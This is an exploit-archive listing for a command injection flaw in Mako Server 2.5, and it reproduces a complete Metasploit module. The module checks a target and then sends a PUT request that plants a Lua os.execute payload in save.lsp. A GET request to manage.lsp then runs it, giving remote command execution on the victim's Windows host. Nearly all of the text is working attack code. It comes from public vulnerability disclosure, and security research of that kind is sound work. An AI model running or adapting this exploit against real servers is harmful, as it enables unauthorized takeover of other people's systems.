Mako Server 2.5 Command Injection

2017.11.09
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Mako Server v2.5 OS Command Injection RCE', 'Description' => %q{ This module exploits a vulnerability found in Mako Server v2.5. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp. }, 'License' => MSF_LICENSE, 'Author' => [ 'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC 'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module ], 'References' => [ ['EDB', '42683'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3391'] ], 'Arch' => ARCH_CMD, 'Platform' => 'win', 'Targets' => [ ['Mako Server v2.5 - Windows x86/x64', { }] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Sep 3 2017')) register_options( [ OptString.new('URI', [true, 'URI path to the Mako Server app', '/']) ] ) end def check vprint_status('Trying to detect running Mako Server and necessary files...') # Send GET request to determine existence of save.lsp page res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp') }, 20) # If response does not include "MakoServer.net", target is not viable. if res.headers['Server'] !~ /MakoServer.net/ vprint_warning('Target is not a Mako Server.') return CheckCode::Safe end if res.body if res.body =~ /Incorrect usage/ # We are able to determine that the server has a save.lsp page and # returns the correct output. vprint_status('Mako Server save.lsp returns correct ouput.') return CheckCode::Appears else # The page exists, but is not returning the expected output. # May be a different version? vprint_warning('Mako Server save.lsp did not return expected output.') return CheckCode::Detected end else # The above checks failed and exploitability could not be determined. vprint_error('Unable to determine exploitability, save.lsp not found.') return CheckCode::Unknown end return CheckCode::Safe end def exploit print_status('Sending payload to target...') # The double square brackets helps to ensure single/double quotes # in cmd payload do not interfere with syntax of os.execute Lua function. cmd = %{os.execute([[#{payload.encoded}]])} # If users want to troubleshoot their cmd payloads, they can see the # Lua function with params that the module uses in a more verbose mode. vprint_status("Now executing the following command: #{cmd}") # Send a PUT request to save.lsp with command payload begin vprint_status('Sending PUT request to save.lsp...') send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'), 'ctype' => 'text/plain', 'data' => cmd, 'http' => { 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => 'http://localhost/Lua-Types.lsp' } }, 20) rescue StandardError => e fail_with(Failure::NoAccess, "Error: #{e}") end # Send a GET request to manage.lsp with execute set to true begin vprint_status('Sending GET request to manage.lsp...') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua') }, 20) rescue StandardError => e fail_with(Failure::NoAccess, "Error: #{e}") end end end


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